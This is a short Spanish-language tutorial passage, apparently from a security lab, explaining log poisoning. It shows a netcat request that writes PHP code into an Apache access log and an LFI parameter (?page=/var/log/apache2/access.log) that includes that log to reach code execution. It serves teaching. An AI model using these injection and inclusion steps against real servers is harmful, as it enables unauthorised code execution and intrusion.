El log poisoning es una técnica donde el atacante inyecta código ejecutable en el archivo de registro de un servidor web y usa una vulnerabilidad LFI para incluir y ejecutar este archivo de registro. Este método es particularmente sigiloso porque los archivos de registro se comparten y son aparentemente inofensivos. En un ataque de log poisoning, el atacante debe inyectar código PHP malicioso en un archivo log. Una vez inyectado, puede usar una LFI para incluir el archivo como uno estándar. Esto causa que el servidor ejecute el código malicioso contenido en el archivo de registro, llevando a RCE.
Por ejemplo, si un atacante manda una petición Netcat a una máquina vulnerable que contiene código PHP:
$ nc MACHINE_IP 80
<?php echo phpinfo(); ?>
HTTP/1.1 400 Bad Request Date: Thu, 23 Nov 2023 05:39:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 335 Connection: close Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> --- <address>Apache/2.4.41 (Ubuntu) Server at MACHINE_IP.eu-west-1.compute.internal Port 80</address> </body></html>
El código será registrado en el log de acceso del servidor.

El atacante entonces usa LFI para incluir el archivo de registro de acceso: ?page=/var/log/apache2/access.log.

Para replicar la demo de arriba puedes ir a http://IP/playground.php.
